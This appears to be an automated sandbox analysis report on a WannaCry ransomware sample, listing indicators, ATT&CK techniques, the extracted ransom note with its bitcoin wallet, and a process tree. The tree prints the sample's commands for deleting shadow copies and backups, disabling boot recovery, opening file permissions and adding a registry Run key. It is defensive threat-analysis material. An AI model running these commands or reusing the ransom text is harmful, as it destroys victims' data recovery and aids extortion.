wannacry | ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa

Resubmissions

12-01-2020 03:05

200112-37f67sqp72 10

Analysis

max time kernel
148s
resource
win10v191014
submitted
12-01-2020 03:05

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General

Target

ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Sample

200112-37f67sqp72
SHA256

ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa

Score

10^/10

discovery ransomware persistence worm wannacry

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\@[email protected]

Family

wannacry

Ransom Note

Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn Next, please find an application file named "@[email protected]". It is the decrypt software. Run and follow the instructions! (You may need to disable your antivirus for a while.) Q: How can I trust? A: Don't worry about decryption. We will decrypt your files surely because nobody will trust us if we cheat users. * If you need our assistance, send a message by clicking <Contact Us> on the decryptor window. �

Wallets

115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn

Signatures

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 4936 wrote to memory of 4952	4936	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	72
PID 4936 wrote to memory of 4972	4936	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	74
PID 4936 wrote to memory of 3068	4936	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	77
PID 4936 wrote to memory of 1984	4936	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	78
PID 1984 wrote to memory of 4000	1984	cmd.exe	80
PID 4936 wrote to memory of 4244	4936	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	85
PID 4936 wrote to memory of 4340	4936	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	86
PID 4340 wrote to memory of 4156	4340	cmd.exe	88
PID 4936 wrote to memory of 3984	4936	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	90
PID 4936 wrote to memory of 2064	4936	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	91
PID 4936 wrote to memory of 4104	4936	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	92
PID 4936 wrote to memory of 4152	4936	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	94
PID 4104 wrote to memory of 4916	4104	cmd.exe	95
PID 4244 wrote to memory of 4848	4244	@[email protected]	96
PID 4156 wrote to memory of 1892	4156	@[email protected]	100
PID 1892 wrote to memory of 4572	1892	cmd.exe	102
PID 1892 wrote to memory of 2696	1892	cmd.exe	106
PID 4936 wrote to memory of 1788	4936	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	108
PID 4936 wrote to memory of 4200	4936	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	109
PID 4936 wrote to memory of 5020	4936	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	110
PID 4936 wrote to memory of 3212	4936	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	114
PID 4936 wrote to memory of 4208	4936	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	115
PID 4936 wrote to memory of 4340	4936	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	116
PID 4936 wrote to memory of 4136	4936	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	122
PID 4936 wrote to memory of 1416	4936	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	123
PID 4936 wrote to memory of 1504	4936	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	124

Suspicious use of AdjustPrivilegeToken 28 IoCs

description	pid	Process
Token: SeTcbPrivilege	3984	taskse.exe
Token: SeBackupPrivilege	2404	vssvc.exe
Token: SeRestorePrivilege	2404	vssvc.exe
Token: SeAuditPrivilege	2404	vssvc.exe
Token: SeIncreaseQuotaPrivilege	2696	WMIC.exe
Token: SeSecurityPrivilege	2696	WMIC.exe
Token: SeTakeOwnershipPrivilege	2696	WMIC.exe
Token: SeLoadDriverPrivilege	2696	WMIC.exe
Token: SeSystemProfilePrivilege	2696	WMIC.exe
Token: SeSystemtimePrivilege	2696	WMIC.exe
Token: SeProfSingleProcessPrivilege	2696	WMIC.exe
Token: SeIncBasePriorityPrivilege	2696	WMIC.exe
Token: SeCreatePagefilePrivilege	2696	WMIC.exe
Token: SeBackupPrivilege	2696	WMIC.exe
Token: SeRestorePrivilege	2696	WMIC.exe
Token: SeShutdownPrivilege	2696	WMIC.exe
Token: SeDebugPrivilege	2696	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2696	WMIC.exe
Token: SeRemoteShutdownPrivilege	2696	WMIC.exe
Token: SeUndockPrivilege	2696	WMIC.exe
Token: SeManageVolumePrivilege	2696	WMIC.exe
Token: 33	2696	WMIC.exe
Token: 34	2696	WMIC.exe
Token: 35	2696	WMIC.exe
Token: 36	2696	WMIC.exe
Token: SeTcbPrivilege	4200	taskse.exe
Token: SeTcbPrivilege	4208	taskse.exe
Token: SeTcbPrivilege	4136	taskse.exe

Wannacry
WannaCry is a ransomware cryptoworm.
ransomware worm wannacry

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
4848	taskhsvc.exe

Adds Run entry to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\nmsqcsinudawe237 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tasksche.exe\""	reg.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	@[email protected]

Deletes shadow copies 2 TTPs 2 IoCs

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
4572	vssadmin.exe
2696	WMIC.exe

Executes dropped EXE 16 IoCs

pid	Process
3068	taskdl.exe
4244	@[email protected]
4156	@[email protected]
3984	taskse.exe
2064	@[email protected]
4152	taskdl.exe
4848	taskhsvc.exe
1788	taskdl.exe
4200	taskse.exe
5020	@[email protected]
3212	taskdl.exe
4208	taskse.exe
4340	@[email protected]
4136	taskse.exe
1416	@[email protected]
1504	taskdl.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
4156	@[email protected]
4244	@[email protected]
2064	@[email protected]
5020	@[email protected]
4340	@[email protected]
1416	@[email protected]

Loads dropped DLL 1 IoCs

pid	Process
4848	taskhsvc.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4916	reg.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4972	icacls.exe
4972	icacls.exe

Drops startup file 6 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SDB568.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File deleted	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SDB568.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File created (read-only)	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SDB57E.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SDB57E.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File deleted	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SDB57E.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File created (read-only)	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SDB568.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
4952	attrib.exe

C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
"C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"
1⤵
- Suspicious use of WriteProcessMemory
- Sets desktop wallpaper using registry
- Drops startup file
PID:4936
- C:\Windows\SysWOW64\attrib.exe
  attrib +h .
  2⤵
  - Views/modifies file attributes
  PID:4952
- C:\Windows\SysWOW64\icacls.exe
  icacls . /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4972
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:3068
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c 85771578801917.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1984
- - C:\Windows\SysWOW64\cscript.exe
    cscript.exe //nologo m.vbs
    3⤵
    PID:4000
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected] co
  2⤵
  - Suspicious use of WriteProcessMemory
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:4244
- - C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe
    TaskData\Tor\taskhsvc.exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4848
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c start /b @[email protected] vs
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4340
- - C:\Users\Admin\AppData\Local\Temp\@[email protected]
    @[email protected] vs
    3⤵
    - Suspicious use of WriteProcessMemory
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:4156
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1892
    - - C:\Windows\SysWOW64\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        5⤵
        Deletes shadow copies
        
        PID:4572
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        5⤵
        Suspicious use of AdjustPrivilegeToken
        Deletes shadow copies
        
        PID:2696
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Executes dropped EXE
  PID:3984
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  - Sets desktop wallpaper using registry
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:2064
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "nmsqcsinudawe237" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4104
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "nmsqcsinudawe237" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
    3⤵
    - Adds Run entry to start application
    - Modifies registry key
    PID:4916
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:4152
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:1788
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Executes dropped EXE
  PID:4200
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:5020
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:3212
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Executes dropped EXE
  PID:4208
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:4340
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Executes dropped EXE
  PID:4136
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:1416
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:1504

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2404

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Hidden Files and Directories

T1158

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File Deletion

T1107

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

memory/2064-49-0x00000000024F0000-0x00000000024F1000-memory.dmp

Filesize
4KB

Download
memory/4848-230-0x0000000003690000-0x0000000003691000-memory.dmp

Filesize
4KB

Download
memory/4848-66-0x0000000003690000-0x0000000003691000-memory.dmp

Filesize
4KB

Download
memory/4848-67-0x0000000003E90000-0x0000000003E91000-memory.dmp

Filesize
4KB

Download
memory/4848-68-0x0000000003690000-0x0000000003691000-memory.dmp

Filesize
4KB

Download
memory/4848-166-0x0000000003690000-0x0000000003691000-memory.dmp

Filesize
4KB

Download
memory/4848-208-0x0000000003690000-0x0000000003691000-memory.dmp

Filesize
4KB

Download
memory/4848-231-0x0000000003E90000-0x0000000003E91000-memory.dmp

Filesize
4KB

Download
memory/4848-232-0x0000000003690000-0x0000000003691000-memory.dmp

Filesize
4KB

Download
memory/4848-259-0x0000000003690000-0x0000000003691000-memory.dmp

Filesize
4KB

Download
memory/4848-396-0x0000000003C30000-0x0000000003C31000-memory.dmp

Filesize
4KB

Download
memory/4848-397-0x0000000004430000-0x0000000004431000-memory.dmp

Filesize
4KB

Download
memory/4848-399-0x0000000003C30000-0x0000000003C31000-memory.dmp

Filesize
4KB

Download
memory/4936-36-0x0000000010000000-0x0000000010010000-memory.dmp

Filesize
64KB

Download